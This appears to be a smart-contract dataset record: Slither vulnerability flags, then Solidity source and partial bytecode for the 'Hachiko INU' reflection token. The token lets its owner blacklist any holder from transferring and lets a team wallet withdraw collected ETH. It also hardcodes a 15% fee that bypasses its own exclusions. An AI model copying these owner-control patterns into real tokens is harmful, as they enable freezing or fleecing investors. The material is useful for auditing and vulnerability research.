0919063ffffffff16565b90506000612a3b828461282e90919063ffffffff16565b9050828194509450505050935093915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a88578082015181840152602081019050612a6d565b83811115612a97576000848401525b50505050565b6000601f19601f8301169050919050565b6000612ab982612a4e565b612ac38185612a59565b9350612ad3818560208601612a6a565b612adc81612a9d565b840191505092915050565b60006020820190508181036000830152612b018184612aae565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b4882612b1d565b9050919050565b612b5881612b3d565b8114612b6357600080fd5b50565b600081359050612b7581612b4f565b92915050565b6000819050919050565b612b8e81612b7b565b8114612b9957600080fd5b50565b600081359050612bab81612b85565b92915050565b60008060408385031215612bc857612bc7612b13565b5b6000612bd685828601612b66565b9250506020612be785828601612b9c565b9150509250929050565b60008115159050919050565b612c0681612bf1565b82525050565b6000602082019050612c216000830184612bfd565b92915050565b612c3081612b7b565b82525050565b6000602082019050612c4b6000830184612c27565b92915050565b600080600060608486031215612c6a57612c69612b13565b5b6000612c7886828701612b66565b9350506020612c8986828701612b66565b9250506040612c9a86828701612b9c565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612ce182612a9d565b810181811067ffffffffffffffff82111715612d0057612cff612ca9565b5b80604052505050565b6000612d13612b09565b9050612d1f8282612cd8565b919050565b600067ffffffffffffffff821115612d3f57612d3e612ca9565b5b602082029050602081019050919050565b600080fd5b6000612d68612d6384612d24565b612d09565b90508083825260208201905060208402830185811115612d8b57612d8a612d50565b5b835b81811015612db45780612da08882612b66565b845260208401935050602081019050612d8d565b5050509392505050565b600082601f830112612dd357612dd2612ca4565b5b8135612de3848260208601612d55565b91505092915050565b600060208284031215612e0257612e01612b13565b5b600082013567ffffffffffffffff811115612e2057612e1f612b18565b5b612e2c84828501612dbe565b91505092915050565b600060208284031215612e4b57612e4a612b13565b5b6000612e5984828501612b66565b91505092915050565b6000612e6d82612b1d565b9050919050565b612e7d81612e62565b8114612e8857600080fd5b50565b600081359050612e9a81612e74565b92915050565b600060208284031215612eb657612eb5612b13565b5b6000612ec484828501612e8b565b91505092915050565b612ed681612bf1565b8114612ee157600080fd5b50565b600081359050612ef381612ecd565b92915050565b600060208284031215612f0f57612f0e612b13565b5b6000612f1d84828501612ee4565b91505092915050565b612f2f81612b3d565b82525050565b6000602082019050612f4a6000830184612f26565b92915050565b60008060408385031215612f6757612f66612b13565b5b6000612f7585828601612b66565b9250506020612f8685828601612b66565b9150509250929050565b600060208284031215612fa657612fa5612b13565b5b6000612fb484828501612b9c565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ff3602083612a59565b9150612ffe82612fbd565b602082019050919050565b6000602082019050818103600083015261302281612fe6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061309282612b7b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130c5576130c4613058565b5b600182019050919050565b7f436f6e7472616374206d75737420626520696e697469616c697a65642066697260008201527f7374000000000000000000000000000000000000000000000000000000000000602082015250565b600061312c602283612a59565b9150613137826130d0565b604082019050919050565b6000602082019050818103600083015261315b8161311f565b9050919050565b600061316d82612b7b565b915061317883612b7b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131ad576131ac613058565b5b828201905092915050565b7f436f6e74726163742068617320616c7265616479206265656e20696e6974696160008201527f6c697a6564000000000000000000000000000000000000000000000000000000602082015250565b6000613214602583612a59565b915061321f826131b8565b604082019050919050565b6000602082019050818103600083015261324381613207565b9050919050565b60008151905061325981612b4f565b92915050565b60006020828403121561327557613274612b13565b5b60006132838482850161324a565b91505092915050565b60006040820190506132a16000830185612f26565b6132ae6020830184612f26565b9392505050565b7f5465616d206665652063616e6e6f74206265206c6172676572207468616e203160008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b6000613311602283612a59565b915061331c826132b5565b604082019050919050565b6000602082019050818103600083015261334081613304565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133a3602683612a59565b91506133ae82613347565b604082019050919050565b600060208201905081810360008301526133d281613396565b9050919050565b6000819050919050565b6000819050919050565b60006134086134036133fe846133d9565b6133e3565b612b7b565b9050919050565b613418816133ed565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61345381612b3d565b82525050565b6000613465838361344a565b60208301905092915050565b6000602082019050919050565b60006134898261341e565b6134938185613429565b935061349e8361343a565b8060005b838110156134cf5781516134b68882613459565b97506134c183613471565b9250506001810190506134a2565b5085935050505092915050565b600060a0820190506134f16000830188612c27565b6134fe602083018761340f565b8181036040830152613510818661347e565b905061351f6060830185612f26565b61352c6080830184612c27565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613592602483612a59565b915061359d82613536565b604082019050919050565b600060208201905081810360008301526135c181613585565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613624602283612a59565b915061362f826135c8565b604082019050919050565b6000602082019050818103600083015261365381613617565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136b6602583612a59565b91506136c18261365a565b604082019050919050565b600060208201905081810360008301526136e5816136a9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613748602383612a59565b9150613753826136ec565b604082019050919050565b600060208201905081810360008301526137778161373b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006137da602983612a59565b91506137e58261377e565b604082019050919050565b60006020820190508181036000830152613809816137cd565b9050919050565b7f596f7572206164647265737320686173206265656e206d61726b65642061732060008201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160208201527f707065616c20796f757220636173652e00000000000000000000000000000000604082015250565b6000613892605083612a59565b915061389d82613810565b606082019050919050565b600060208201905081810360008301526138c181613885565b9050919050565b7f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e600082015250565b60006138fe602083612a59565b9150613909826138c8565b602082019050919050565b6000602082019050818103600083015261392d816138f1565b9050919050565b600061393f82612b7b565b915061394a83612b7b565b92508282101561395d5761395c613058565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139c4602a83612a59565b91506139cf82613968565b604082019050919050565b600060208201905081810360008301526139f3816139b7565b9050919050565b6000613a0582612b7b565b9150613a1083612b7b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a4957613a48613058565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a8e82612b7b565b9150613a9983612b7b565b925082613aa957613aa8613a54565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613b10602183612a59565b9150613b1b82613ab4565b604082019050919050565b60006020820190508181036000830152613b3f81613b03565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b7c601b83612a59565b9150613b8782613b46565b602082019050919050565b60006020820190508181036000830152613bab81613b6f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204bd9f81059174e6c5042d48147c70655588319d74d7e0e737567e2630ba4037264736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,059
0xadf0ba4563ffaa91691e22144528aeab0ebf54d6
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HachikoINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Hachiko INU"; string private constant _symbol = " Hachiko "; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600b81526020017f48616368696b6f20494e55000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f2048616368696b6f200000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffff